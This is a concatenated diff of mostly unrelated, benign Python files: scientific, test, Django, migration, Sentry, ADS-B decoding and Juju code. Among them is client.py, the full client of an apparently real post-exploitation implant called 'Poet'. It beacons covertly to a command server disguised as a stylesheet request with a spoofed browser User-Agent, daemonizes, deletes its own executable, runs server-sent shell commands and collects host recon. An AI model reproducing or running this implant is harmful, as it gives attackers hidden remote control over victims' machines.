+	def loadfiles(self):
+		self.mdata = np.loadtxt(self.dataname)
+		self.setlabels = np.loadtxt(self.labelsname)
+
+
+		self.setsamples = open(self.samplesname)
+		self.setsamples = self.setsamples.read()
+		self.setsamples = self.setsamples.split('\n')	#now, setsamples is a list of (the right) strings
+		self.setsamples.pop(-1)	#fixes an error due to the split function
+
+		self.setfeatures = open(self.featuresname)
+		self.setfeatures = self.setfeatures.read()
+		self.setfeatures = self.setfeatures.split('\n')
+		self.setfeatures.pop(-1)
+
+		q = len(self.setfeatures)
+		for i in range(q):
+			j = self.setfeatures[i]
+			s = j.index('\t')
+			self.setfeatures[i] = self.setfeatures[i][s+1:]
+
+		lsmpl, lsftr = self.mdata.shape
+		if len(self.setsamples) != len(self.setlabels) or lsmpl != len(self.setlabels) or lsftr != len(self.setfeatures):
+			print 'error, invalid input: data not coherent'
+
+########
+
+	def findsubmatrixes(self):
+
+		self.aunilabels = np.unique(self.setlabels)	### array of different labels which are in setlabels
+
+		self.alabels = []	# list of 2d-matrixes (i.e. one sub-matrix for each label)
+
+		ok = 0	# for the condition of the while loop
+		while ok < len(self.aunilabels):
+			r2 = 0
+			maux = np.zeros((len(np.where(self.setlabels == self.aunilabels[ok])[0]), len(self.setCol)))
+			for r in np.where(self.setlabels == np.array(list(set(self.setlabels)))[ok])[0]:	#this is a very strange 2d-array with the positions of the ok-th different element of setlabels in setlabels itself
+				#print aunilabels
+				c2 = 0
+				for c in self.setCol:
+					maux[r2, c2] = self.mdata[r, c]
+					c2 += 1
+				r2 += 1
+			self.alabels.append(maux)
+			ok += 1
+		### alabels is now the complete list of the sub-matrices of each label!
+
+########
+
+	def mkadjmatrixes(self):
+		self.adjmatrixes = []
+		for i in range(len(self.aunilabels)):	# sgrulla down le labels
+			self.adjmatrixes.append(self.mknetfeatures(self.alabels[i],0.1))	#FIXME uses features, not samples! 0.1 is the threshold: check it!
+		self.adjmatrixes = np.array(self.adjmatrixes)
+				### now, the list adjmatrixes is filled in with the adjacency matrices of each different label
+		self.himadjmatrix = np.zeros((len(self.aunilabels), len(self.aunilabels)))
+			
+		for i in range(1, len(self.aunilabels)): #loop on label indexes
+
+			for j in range(i):	#loop on previous labels
+				hamming, ipsen, self.himadjmatrix[i, j] = df.him(self.adjmatrixes[i], self.adjmatrixes[j])	#calculates the him distance between two networks
+				self.himadjmatrix[j, i] = self.himadjmatrix[i, j]	#makes symmetric the 'adjacency' matrix
+		
+		return (self.himadjmatrix)	#, aunilabels)
+
+########
+
+	def mknetfeatures(self,M,thre):	#M is our dear big matrix
+				#attempt: to make it work on all columns, instead than on a given set
+		nRow, nCol = M.shape #define dimensions
+
+		### let's create the network matrix
+		self.mNet = np.zeros((nCol, nCol))
+
+		# check of missing elements in the matrix
+		if nRow == 0 or nCol == 0:
+			print 'null input'
+			return None
+
+		for i in np.arange(nCol): #loop on feature indexes
+
+			for k in np.arange(nCol): #loop on feature indexes, again
+
+				if i < k: #not repeated nodes of features
+					L1 = [M[j,i] for j in range(nRow)]
+					L2 = [M[j,k] for j in range(nRow)]
+				
+					if np.var(L1)==0 and np.var(L2)==0:
+						pear=[1.0,123]
+					elif np.var(L1)==0 or np.var(L2)==0:
+						pear=[0.,123]
+					else:
+						pear = pearsonr(L1,L2)    #output as array
+				
+					if pear > thre:
+						self.mNet[i,k] = abs(pear[0])
+						self.mNet[k,i] = abs(pear[0])
+		### mNet is now our network matrix
+
+		return self.mNet
+
+########
+
+	def mkoutput(self):	# saves the list of him adjacency matrices in the outputpath
+				# WARNING: it has to be a .pkl file!!!
+		outfile = open(self.outputpath, 'w+b')
+		pkl.dump(self.himadjmatrixes, outfile)
+		outfile.close()
+
+########
diff --git a/pool/shard000/Python/0008145_test_ami.py b/pool/shard000/Python/0008145_test_ami.py
new file mode 100644
index 0000000000000000000000000000000000000000..1db1377626ac0b319b6381f991412d3dbb005ea0
--- /dev/null
+++ b/pool/shard000/Python/0008145_test_ami.py
@@ -0,0 +1,52 @@
+# Copyright 2016 Capital One Services, LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from common import BaseTest
+
+
+class TestAMI(BaseTest):
+
+    def test_query(self):
+        factory = self.replay_flight_data('test_ami')
+        p = self.load_policy({
+            'name': 'test-ami',
+            'resource': 'ami',
+            'filters': [
+                {'Name': 'LambdaCompiler'},
+                {'type': 'image-age', 'days': 0.2}],
+            'actions': ['deregister']
+        }, session_factory=factory)
+        resources = p.run()
+        self.assertEqual(len(resources), 1)
+
+    def test_unused_ami_true(self):
+        factory = self.replay_flight_data('test_unused_ami_true')
+        p = self.load_policy({
+            'name': 'test-unused-ami',
+            'resource': 'ami',
+            'filters': ['unused']
+        }, session_factory=factory)
+        resources = p.run()
+        self.assertEqual(len(resources), 1)
+
+    def test_unused_ami_false(self):
+        factory = self.replay_flight_data('test_unused_ami_false')
+        p = self.load_policy({
+            'name': 'test-unused-ami',
+            'resource': 'ami',
+            'filters': [{
+                'type': 'unused','value': False}]
+        }, session_factory=factory)
+        resources = p.run()
+        self.assertEqual(len(resources), 1)
diff --git a/pool/shard000/Python/0008147_listsystems.py b/pool/shard000/Python/0008147_listsystems.py
new file mode 100644
index 0000000000000000000000000000000000000000..f1b53faa1c0f3ca44569c328b83554855536027a
--- /dev/null
+++ b/pool/shard000/Python/0008147_listsystems.py
@@ -0,0 +1,32 @@
+######################################################################
+# pyrat - An Eve Online PvE analyser
+# Copyright (C) 2017 Instigo Pares [SUAD]
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# If you need to, contact me on reddit @ /u/instigo
+######################################################################
+
+import csv
+
+
+# Function to generate list of systems in specified region from csv file
+def pull_systems(region):
+    systems = []
+    regid = region[0]
+    with open('../resources/mapSolarSystems.csv', newline='') as csvfile:
+        syslist = csv.reader(csvfile, delimiter=',', quotechar='|')
+        for row in syslist:
+            if regid == row[0]:
+                systems.append(row[1])
+    return systems
diff --git a/pool/shard000/Python/0008154_models.py b/pool/shard000/Python/0008154_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..cf6cea45e99a74c58805e0e8ce0ab5cf78a35267
--- /dev/null
+++ b/pool/shard000/Python/0008154_models.py
@@ -0,0 +1,35 @@
+from django.db import models
+
+from six import python_2_unicode_compatible
+
+
+@python_2_unicode_compatible
+class TModel(models.Model):
+    name = models.CharField(max_length=200)
+
+    test = models.ForeignKey(
+        'self',
+        models.CASCADE,
+        null=True,
+        blank=True,
+        related_name='related_test_models'
+    )
+
+    owner = models.ForeignKey(
+        'auth.user',
+        models.CASCADE,
+        null=True,
+        blank=True,
+        related_name='owned_linked_models',
+    )
+
+    for_inline = models.ForeignKey(
+        'self',
+        models.CASCADE,
+        null=True,
+        blank=True,
+        related_name='inline_test_models'
+    )
+
+    def __str__(self):
+        return self.name
diff --git a/pool/shard000/Python/0008155_563f582d07fa_.py b/pool/shard000/Python/0008155_563f582d07fa_.py
new file mode 100644
index 0000000000000000000000000000000000000000..fe60443293b47acdf615605ed5f40a04fb5260bf
--- /dev/null
+++ b/pool/shard000/Python/0008155_563f582d07fa_.py
@@ -0,0 +1,26 @@
+"""empty message
+
+Revision ID: 563f582d07fa
+Revises: 1a9f196d43b2
+Create Date: 2015-08-17 18:06:50.928876
+
+"""
+
+# revision identifiers, used by Alembic.
+revision = '563f582d07fa'
+down_revision = '1a9f196d43b2'
+
+from alembic import op
+import sqlalchemy as sa
+
+
+def upgrade():
+    ### commands auto generated by Alembic - please adjust! ###
+    op.add_column('participant', sa.Column('is_invited', sa.Boolean(), nullable=True))
+    ### end Alembic commands ###
+
+
+def downgrade():
+    ### commands auto generated by Alembic - please adjust! ###
+    op.drop_column('participant', 'is_invited')
+    ### end Alembic commands ###
diff --git a/pool/shard000/Python/0008169_repositories.py b/pool/shard000/Python/0008169_repositories.py
new file mode 100644
index 0000000000000000000000000000000000000000..46949dee325d3da81bcb7ecbf1aaade4cccede30
--- /dev/null
+++ b/pool/shard000/Python/0008169_repositories.py
@@ -0,0 +1,45 @@
+from __future__ import absolute_import
+
+from sentry.constants import ObjectStatus
+from sentry.models import Repository
+
+
+class RepositoryMixin(object):
+    # whether or not integration has the ability to search through Repositories
+    # dynamically given a search query
+    repo_search = False
+
+    def get_repositories(self, query=None):
+        """
+        Get a list of availble repositories for an installation
+
+        >>> def get_repositories(self):
+        >>>     return self.get_client().get_repositories()
+
+        return [{
+            'name': display_name,
+            'identifier': external_repo_id,
+        }]
+
+        The shape of the `identifier` should match the data
+        returned by the integration's
+        IntegrationRepositoryProvider.repository_external_slug()
+        """
+        raise NotImplementedError
+
+    def get_unmigratable_repositories(self):
+        return []
+
+    def reinstall_repositories(self):
+        """
+        reinstalls repositories associated with the integration
+        """
+        organizations = self.model.organizations.all()
+        Repository.objects.filter(
+            organization_id__in=organizations.values_list("id", flat=True),
+            provider="integrations:%s" % self.model.provider,
+            integration_id=self.model.id,
+        ).update(status=ObjectStatus.VISIBLE)
+
+    def has_repo_access(self, repo):
+        raise NotImplementedError
diff --git a/pool/shard000/Python/0008175_cpr.py b/pool/shard000/Python/0008175_cpr.py
new file mode 100644
index 0000000000000000000000000000000000000000..00c1a9629fe1b19509e6323e753522510058f06f
--- /dev/null
+++ b/pool/shard000/Python/0008175_cpr.py
@@ -0,0 +1,216 @@
+#!/usr/bin/env python
+#
+# Copyright 2010, 2012 Nick Foster
+# 
+# This file is part of gr-air-modes
+# 
+# gr-air-modes is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 3, or (at your option)
+# any later version.
+# 
+# gr-air-modes is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with gr-air-modes; see the file COPYING.  If not, write to
+# the Free Software Foundation, Inc., 51 Franklin Street,
+# Boston, MA 02110-1301, USA.
+# 
+
+import math, time
+from exceptions import *
+import coord
+
+#this implements CPR position decoding and encoding.
+#the decoder is implemented as a class, cpr_decoder, which keeps state for local decoding.
+#the encoder is cpr_encode([lat, lon], type (even=0, odd=1), and surface (0 for surface, 1 for airborne))
+
+#TODO: remove range/bearing calc from CPR decoder class. you can do this outside of the decoder.
+
+latz = 15
+
+def nz(ctype):
+	return 4 * latz - ctype
+
+def dlat(ctype):
+	nzcalc = nz(ctype)
+	if nzcalc == 0:
+		return 360.0
+	else:
+		return 360.0 / nzcalc
+
+def nl(declat_in):
+	if abs(declat_in) >= 87.0:
+		return 1.0
+	return math.floor( (2.0*math.pi) * math.acos(1.0- (1.0-math.cos(math.pi/(2.0*latz))) / math.cos( (math.pi/180.0)*abs(declat_in) )**2 )**-1)
+
+def dlon(declat_in, ctype):
+	nlcalc = max(nl(declat_in)-ctype, 1)
+	return 360.0 / nlcalc
+
+def decode_lat(enclat, ctype, my_lat):
+	tmp1 = dlat(ctype)
+	tmp2 = float(enclat) / (2**17)
+	j = math.floor(my_lat/tmp1) + math.floor(0.5 + ((my_lat % tmp1) / tmp1) - tmp2)
+
+	return tmp1 * (j + tmp2)
+
+def decode_lon(declat, enclon, ctype, my_lon):
+	tmp1 = dlon(declat, ctype)
+	tmp2 = float(enclon) / (2**17)
+	m = math.floor(my_lon / tmp1) + math.floor(0.5 + ((my_lon % tmp1) / tmp1) - tmp2)
+
+	return tmp1 * (m + tmp2)
+
+def cpr_resolve_local(my_location, encoded_location, ctype):
+	[my_lat, my_lon] = my_location
+	[enclat, enclon] = encoded_location
+	
+	if my_location is None:
+		raise CPRNoPositionError
+	
+	decoded_lat = decode_lat(enclat, ctype, my_lat)
+	decoded_lon = decode_lon(decoded_lat, enclon, ctype, my_lon)
+
+	return [decoded_lat, decoded_lon]
+
+def cpr_resolve_global(evenpos, oddpos, mostrecent):
+	
+	dlateven = dlat(0)
+	dlatodd  = dlat(1)
+	
+	evenpos = [float(evenpos[0]), float(evenpos[1])]
+	oddpos = [float(oddpos[0]), float(oddpos[1])]
+	
+	j = math.floor(((nz(1)*evenpos[0] - nz(0)*oddpos[0])/2**17) + 0.5) #latitude index
+	
+	rlateven = dlateven * ((j % nz(0))+evenpos[0]/2**17)
+	rlatodd  = dlatodd  * ((j % nz(1))+ oddpos[0]/2**17)
+	
+	#limit to -90, 90
+	if rlateven > 270.0:
+		rlateven -= 360.0
+	if rlatodd > 270.0:
+		rlatodd -= 360.0
+		
+	#This checks to see if the latitudes of the reports straddle a transition boundary
+	#If so, you can't get a globally-resolvable location.
+	if nl(rlateven) != nl(rlatodd):
+		raise CPRBoundaryStraddleError
+	
+	if mostrecent == 0:
+		rlat = rlateven
+	else:
+		rlat = rlatodd
+		
+	dl = dlon(rlat, mostrecent)
+	nl_rlat = nl(rlat)
+	
+	m = math.floor(((evenpos[1]*(nl_rlat-1)-oddpos[1]*nl_rlat)/2**17)+0.5) #longitude index
+	
+	#when surface positions straddle a disambiguation boundary (90 degrees),
+	#surface decoding will fail. this might never be a problem in real life, but it'll fail in the
+	#test case. the documentation doesn't mention it.
+	
+	if mostrecent == 0:
+		enclon = evenpos[1]
+	else:
+		enclon = oddpos[1]
+		
+	rlon = dl * ((m % max(nl_rlat-mostrecent,1)) + enclon/2.**17)
+	
+	#limit to (-180, 180)
+	if rlon > 180:
+		rlon -= 360.0
+
+	return [rlat, rlon]
+
+class cpr_decoder:
+	def __init__(self, my_location=None):
+		self.my_location = my_location
+		self.evenlist = {}
+		self.oddlist = {}
+		self.locations = {}
+		
+	def set_location(self, new_location):
+		self.my_location = new_location
+
+	def weed_poslists(self, timestamp=None):
+		for poslist in [self.evenlist, self.oddlist]:
+			for key, item in poslist.items():
+				if (timestamp or time.time()) - item[2] > 10:
+					del poslist[key]
+		
+		for key, item in self.locations.items():
+			if (timestamp or time.time()) - item[2] > 300:
+				del self.locations[key]
+
+	def decode(self, icao24, encoded_lat, encoded_lon, cpr_format, timestamp=None, use_local=True):
+
+		#add the info to the position reports list for global decoding
+		if cpr_format==1:
+			self.oddlist[icao24] = [encoded_lat, encoded_lon, timestamp or time.time()]
+		else:
+			self.evenlist[icao24] = [encoded_lat, encoded_lon, timestamp or time.time()]
+
+		#okay, let's traverse the lists and weed out those entries that are older than 10 seconds
+		self.weed_poslists(timestamp)
+		
+		if (icao24 in self.evenlist) \
+		 and (icao24 in self.oddlist) \
+		   and (icao24 not in self.locations):
+			#figure out which report is newer
+			newer = (self.oddlist[icao24][2] - self.evenlist[icao24][2]) > 0
+			[glat, glon] = cpr_resolve_global(self.evenlist[icao24][0:2],
+											  self.oddlist[icao24][0:2],
+											  newer) #do a global decode
+			
+			# plausability check: range is unlikely to be more than 500km
+			if coord.haversine(self.my_location, [glat, glon]) > 500000:
+#				print "Warning: avoided wrong global decoding."
+				raise CPRNoPositionError
+			
+			if not use_local:
+				return [glat, glon] # activate this to exclusively use global decoding
+			self.locations[icao24] = [glat, glon, timestamp or time.time()]
+		
+		
+		if icao24 in self.locations:
+			location = self.locations[icao24][0:2]
+		else:
+			location = self.my_location
+		
+		[llat, llon] = cpr_resolve_local(location,
+										 [encoded_lat, encoded_lon],
+										 cpr_format)
+		if icao24 in self.locations \
+		 or use_local and coord.haversine(self.my_location, [llat, llon]) < 300000: # simple local decoding for close flight is ok
+			self.locations[icao24] = [llat, llon, timestamp or time.time()]
+		else:
+			raise CPRNoPositionError
+
+		return [llat, llon]
+
+#encode CPR position
+def cpr_encode(lat, lon, ctype, surface):
+	if surface is True:
+		scalar = 2.**19
+	else:
+		scalar = 2.**17
+
+	#encode using 360 constant for segment size.
+	dlati = dlat(ctype, False)
+	yz = math.floor(scalar * ((lat % dlati)/dlati) + 0.5)
+	rlat = dlati * ((yz / scalar) + math.floor(lat / dlati))
+
+	#encode using 360 constant for segment size.
+	dloni = dlon(lat, ctype, False)
+	xz = math.floor(scalar * ((lon % dloni)/dloni) + 0.5)
+
+	yz = int(yz) & (2**17-1)
+	xz = int(xz) & (2**17-1)
+
+	return (yz, xz) #lat, lon
diff --git a/pool/shard000/Python/0008177_test_arguments.py b/pool/shard000/Python/0008177_test_arguments.py
new file mode 100644
index 0000000000000000000000000000000000000000..510e14c9ff9e141c0f54cac7c63a173c416abc19
--- /dev/null
+++ b/pool/shard000/Python/0008177_test_arguments.py
@@ -0,0 +1,163 @@
+import logging
+import os
+
+from juju.errors import JujuError
+from juju.hooks.cli import CommandLineClient
+from juju.lib.testing import TestCase
+
+
+class TestArguments(TestCase):
+    """
+    Test verifying the standard argument parsing and handling used
+    by cli hook tools functions properly.
+    """
+    def setup_environment(self):
+        self.change_environment(
+            JUJU_AGENT_SOCKET="/tmp/juju_agent_socket",
+            JUJU_CLIENT_ID="xyzzy")
+        self.change_args("test-script")
+
+    def test_usage(self):
+        output = self.capture_stream("stdout")
+        cli = CommandLineClient()
+        cli.setup_parser()
+
+        cli.parser.print_usage()
+
+        # test for the existence of a std argument to
+        # ensure function
+        self.assertIn("-s SOCKET", output.getvalue())
+
+    def test_default_socket_argument(self):
+        """
+        verify that the socket argument is accepted from a command
+        line flag, or the environment or raises an error.
+        """
+        self.setup_environment()
+        os.environ.pop("JUJU_AGENT_SOCKET", None)
+
+        cli = CommandLineClient()
+        cli.setup_parser()
+
+        options = cli.parse_args("-s /tmp/socket".split())
+        self.assertEquals(options.socket, "/tmp/socket")
+
+        # now set the environment variable to a known state
+        os.environ["JUJU_AGENT_SOCKET"] = "/tmp/socket2"
+
+        options = cli.parse_args()
+        self.assertEquals(options.socket, "/tmp/socket2")
+
+        err = self.capture_stream("stderr")
+        os.environ.pop("JUJU_AGENT_SOCKET", None)
+        error = self.failUnlessRaises(SystemExit, cli.parse_args)
+        self.assertEquals(str(error),
+                          "No JUJU_AGENT_SOCKET/-s option found")
+        self.assertIn("No JUJU_AGENT_SOCKET/-s option found",
+                      err.getvalue())
+
+    def test_single_keyvalue(self):
+        """
+        Verify that a single key/vaule setting can be properly read
+        from the command line.
+        """
+        self.setup_environment()
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = True
+        cli.setup_parser()
+
+        options = cli.parse_args(["foo=bar"])
+        self.assertEqual(options.keyvalue_pairs["foo"], "bar")
+
+        # need to verify this is akin to the sys.argv parsing that
+        # will occur with single and double quoted strings around
+        # foo's right hand side
+        options = cli.parse_args(["foo=bar none"])
+        self.assertEqual(options.keyvalue_pairs["foo"], "bar none")
+
+    def test_multiple_keyvalue(self):
+        self.setup_environment()
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = True
+        cli.setup_parser()
+
+        options = cli.parse_args(["foo=bar", "baz=whatever"])
+        self.assertIn(("foo", "bar"), options.keyvalue_pairs.items())
+        self.assertIn(("baz", "whatever"), options.keyvalue_pairs.items())
+
+    def test_without_keyvalue_flag(self):
+        self.setup_environment()
+        output = self.capture_stream("stderr")
+
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = False
+        cli.setup_parser()
+
+        # exit with the proper error code and make sure a message
+        # appears on stderr
+        error = self.assertRaises(SystemExit, cli.parse_args, ["foo=bar"])
+        self.assertEqual(error.code, 2)
+        self.assertIn("unrecognized arguments: foo=bar",
+                      output.getvalue())
+
+    def test_bad_keyvalue_pair(self):
+        self.setup_environment()
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = True
+        cli.setup_parser()
+
+        options = cli.parse_args(["foo=bar", "baz=whatever", "xxx=",
+        "yyy=", "zzz=zzz"])
+        self.assertIn(("foo", "bar"), options.keyvalue_pairs.items())
+        self.assertIn(("baz", "whatever"), options.keyvalue_pairs.items())
+
+    def test_fileinput(self):
+        self.setup_environment()
+        filename = self.makeFile("""This is config""")
+
+        # the @ sign maps to an argparse.File
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = True
+        cli.default_mode = "rb"
+        cli.setup_parser()
+
+        options = cli.parse_args(["foo=@%s" % filename])
+        contents = options.keyvalue_pairs["foo"]
+
+        self.assertEquals("This is config", contents)
+
+    def test_fileinput_missing_file(self):
+        self.setup_environment()
+        filename = "missing"
+        # the @ sign maps to an argparse.File
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = True
+        cli.default_mode = "rb"
+        cli.setup_parser()
+
+        # files in read-mode must exist at the time of the parse
+        self.assertRaises(JujuError, cli.parse_args,
+                          ["foo=@%s" % filename])
+
+    def test_fileoutput(self):
+        self.setup_environment()
+        filename = self.makeFile()
+        cli = CommandLineClient()
+        cli.setup_parser()
+
+        options = cli.parse_args(["-o", filename])
+        # validate that the output file
+        output = options.output
+        self.assertInstance(output, file)
+        self.assertEquals(output.mode, "wb")
+
+    def test_logging(self):
+        self.setup_environment()
+
+        cli = CommandLineClient()
+        cli.keyvalue_pairs = True
+        cli.setup_parser()
+
+        options = cli.parse_args(["foo=bar", "--log-level", "info"])
+        cli.setup_logging()
+        self.assertEquals(options.log_level, logging.INFO)
diff --git a/pool/shard000/Python/0008189_client.py b/pool/shard000/Python/0008189_client.py
new file mode 100644
index 0000000000000000000000000000000000000000..2b7a7007b0d0382658e4f346f8eb08c208003daf
--- /dev/null
+++ b/pool/shard000/Python/0008189_client.py
@@ -0,0 +1,258 @@
+#!/usr/bin/python2.7
+
+import os
+import sys
+import time
+import base64
+import socket
+import os.path
+import urllib2
+import argparse
+import subprocess as sp
+
+import debug
+import module
+import config as CFG
+from poetsocket import *
+
+UA = 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'
+
+if __file__.endswith('.py'):
+    CLIENT_PATH = os.path.abspath(__file__)
+else:
+    CLIENT_PATH = os.path.dirname(os.path.abspath(__file__))
+
+
+class PoetSocketClient(PoetSocket):
+    def __init__(self, host, port):
+        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.s.connect((host, port))
+        super(PoetSocketClient, self).__init__(self.s)
+
+
+class PoetClient(object):
+    """Core client functionality.
+
+    Receives commands from server, does bidding, responds.
+
+    Note: In any function with `inp' as a parameter, `inp' refers to the
+    command string sent from the server.
+
+    Attributes:
+        host: server ip address
+        port: server port
+    """
+
+    def __init__(self, host, port):
+        self.host = host
+        self.port = port
+        self.s = None
+
+    def start(self):
+        """Core Poet client functionality."""
+
+        self.s = PoetSocketClient(self.host, self.port)
+        while True:
+            try:
+                found = False
+                inp = self.s.recv()
+
+                if inp == 'fin':
+                    found = True
+                    break
+
+                for cmd, func in module.client_commands.iteritems():
+                    if inp.split()[0] == cmd:
+                        found = True
+                        try:
+                            func(self, inp)
+                        except Exception as e:
+                            self.s.send(str(e.args))
+
+                if not found:
+                    self.s.send('Unrecognized')
+            except socket.error as e:
+                if e.message == 'too much data!':
+                    self.s.send('posh : ' + e.message)
+                else:
+                    raise
+        self.s.close()
+
+    def recon(self):
+        """Executes recon commands."""
+
+        ipcmd = 'ip addr' if 'no' in self.cmd_exec('which ifconfig') else 'ifconfig'
+        exec_str = 'exec "whoami" "id" "uname -a" "lsb_release -a" "{}" "w" "who -a"'.format(ipcmd)
+        return self.execute(exec_str)
+
+    def selfdestruct(self):
+        """Trampoline to execute real, global selfdestruct function. It's
+        global because it can be called in main. This exists so selfdestruct
+        can be implemented as a module.
+        """
+
+        selfdestruct()
+
+    def get_args_interval(self):
+        """Helper function for chint module.
+        """
+
+        return args.interval
+
+    def set_args_interval(self, new_interval):
+        """Helper function for chint module.
+        """
+
+        args.interval = new_interval
+
+    def cmd_exec(self, cmd):
+        """Light wrapper over subprocess.Popen() for executing a command,
+        blocking on it, and returning stdout/stderr
+        """
+
+        return sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.STDOUT,
+                        shell=True).communicate()[0]
+
+
+def get_args():
+    """ Parse arguments and return dictionary. """
+
+    parser = argparse.ArgumentParser()
+    if CFG.SERVER_IP is None:
+        parser.add_argument('server', metavar='IP', type=str, help='Poet Server')
+    if CFG.BEACON_INTERVAL is None:
+        parser.add_argument('interval', metavar='INTERVAL', type=int,
+                            help='Beacon Interval, in seconds. Default: 600',
+                            nargs='?', default=600)
+    parser.add_argument('-p', '--port')
+    parser.add_argument('--debug', action="store_true",
+                        help="show debug messages. implies --no-daemon")
+    parser.add_argument('--no-daemon', action='store_true',
+                        help="don't daemonize")
+    parser.add_argument('--no-selfdestruct', action='store_true',
+                        help="don't selfdestruct")
+    return parser.parse_args()
+
+
+def is_active(host, port):
+    """Check if server is active.
+
+    Send HTTP GET for a fake /style.css which server will respond to if it's
+    alive.
+
+    Args:
+        host: server ip address
+        port: server port
+
+    Returns:
+        Boolean for server state.
+    """
+
+    try:
+        url = 'http://{}:{}/style.css'.format(host, port)
+        headers = {
+            'User-Agent': UA,
+            'Cookie': 'c={};'.format(base64.b64encode(CFG.AUTH))
+        }
+        req = urllib2.Request(url, headers=headers)
+        f = urllib2.urlopen(req)
+        if f.code == 200:
+            return True
+        # shouldn't get here
+        return False
+    except urllib2.URLError:
+        return False
+
+
+def selfdestruct():
+    """Delete client executable from disk.
+    """
+
+    if os.path.exists(CLIENT_PATH):
+        os.remove(CLIENT_PATH)
+
+
+def daemonize():
+    """Daemonize client.
+    http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/
+    """
+
+    # already a daemon?
+    if os.getppid() == 1:
+        return
+
+    # break out of shell
+    try:
+        pid = os.fork()
+        if pid > 0:
+            sys.exit(0)
+    except OSError:
+        # silently faily
+        sys.exit(1)
+
+    # standard decoupling
+    os.setsid()     # detach from terminal
+    os.umask(0022)  # not really necessary, client isn't creating files
+    os.chdir('/')   # so we don't block a fs from unmounting
+
+    # denature std fd's
+    si = file('/dev/null', 'r')
+    so = file('/dev/null', 'a+')
+    se = file('/dev/null', 'a+', 0)
+    os.dup2(si.fileno(), sys.stdin.fileno())
+    os.dup2(so.fileno(), sys.stdout.fileno())
+    os.dup2(se.fileno(), sys.stderr.fileno())
+
+
+def main():
+    global args
+    args = get_args()
+    if CFG.SERVER_IP is not None:
+        args.server = CFG.SERVER_IP
+    if CFG.BEACON_INTERVAL is not None:
+        args.interval = CFG.BEACON_INTERVAL
+
+    # dynamically load all modules. needs to be before daemonize because it
+    # needs to be able to open itself to find modindex.txt in package.c
+    # daemonize changes the cwd so the open won't work.
+    module.load_modules()
+
+    # daemonize if we're not in --no-daemon or --debug mode
+    if not args.no_daemon and not args.debug:
+        daemonize()
+
+    # disable debug messages if we're not in --debug
+    if not args.debug:
+        debug.disable()
+
+    if not args.no_selfdestruct:
+        debug.info('Deleting client')
+        try:
+            selfdestruct()
+        except Exception as e:
+            # fatal
+            sys.exit(0)
+
+    HOST = args.server
+    PORT = int(args.port) if args.port else 443
+
+    debug.info(('Poet started with interval of {} seconds to port {}. Ctrl-c to exit').format(args.interval, PORT))
+
+    try:
+        while True:
+            if is_active(HOST, PORT):
+                debug.info('Server is active')
+                PoetClient(HOST, PORT).start()
+            else:
+                debug.warn('Server is inactive')
+            time.sleep(args.interval)
+    except KeyboardInterrupt:
+        print
+        debug.err('Poet terminated')
+    except Exception as e:
+        debug.warn('Fatal error: {}'.format(e.message))
+        debug.err('Poet terminated')
+        sys.exit(0)
+
+if __name__ == '__main__':
+    main()
diff --git a/pool/shard000/Python/0008191_ExtFileVxVol.py b/pool/shard000/Python/0008191_ExtFileVxVol.py
new file mode 100644
index 0000000000000000000000000000000000000000..4c0f51b468b836aa4bee462458c41a142896f6d0
--- /dev/null
+++ b/pool/shard000/Python/0008191_ExtFileVxVol.py
@@ -0,0 +1,142 @@
+#!/usr/bin/python3
+#
+# Copyright (c) 2014-2022 The Voxie Authors
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#
+
+import voxie
+import dbus
+import sys
+import json
+import codecs
+import os
+
+import numpy as np
+
+# Copied from ctscripts
+import imagearchive
+
+args = voxie.parser.parse_args()
+context = voxie.VoxieContext(args)
+instance = context.createInstance()
+
+if args.voxie_action != 'Import':
+    raise Exception('Invalid operation: ' + args.voxie_action)
+
+# TODO: Test whether the StorageOrder stuff work properly
+
+# TODO: Check checksum in iai file?
+
